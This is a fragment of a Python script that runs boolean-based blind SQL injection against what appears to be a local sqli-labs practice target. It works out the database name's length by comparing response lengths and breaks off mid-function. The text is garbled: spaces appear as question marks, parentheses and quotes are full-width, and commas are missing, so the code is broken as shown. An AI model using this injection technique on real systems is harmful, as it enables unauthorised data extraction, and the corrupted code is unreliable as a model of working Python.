import?requests
import?binascii

MAX_DBName_len?=?100
MAX_TableName_len?=?100
MAX_ColumnName_len?=?100
MAX_Data_len?=?100
MAX_Table_Num?=?100
MAX_Column_Num?=?100
MAX_Data_Num?=?100

success_url?=?“http://192.168.80.136/Less-8/?id=1“
success_response_len?=?len（requests.get（success_url）.text）
chars?=?‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*（）‘

def?get_DBName_len（）:
????print（“Start?to?get?DBName_len...“）
????DBName_len?=?0
????url_template?=?success_url?+?“‘?and?（length（database（））={0}）?%2D%2D%20“
????for?i?in?range（0?MAX_DBName_len）:
????????url?=?url_template.format（i）
????????response?=?requests.get（url）
????????if?len（response.text）?==?success_response_len:
????????????DBName_len?=?i;
????????????print（“DBName_len?is:?“?DBName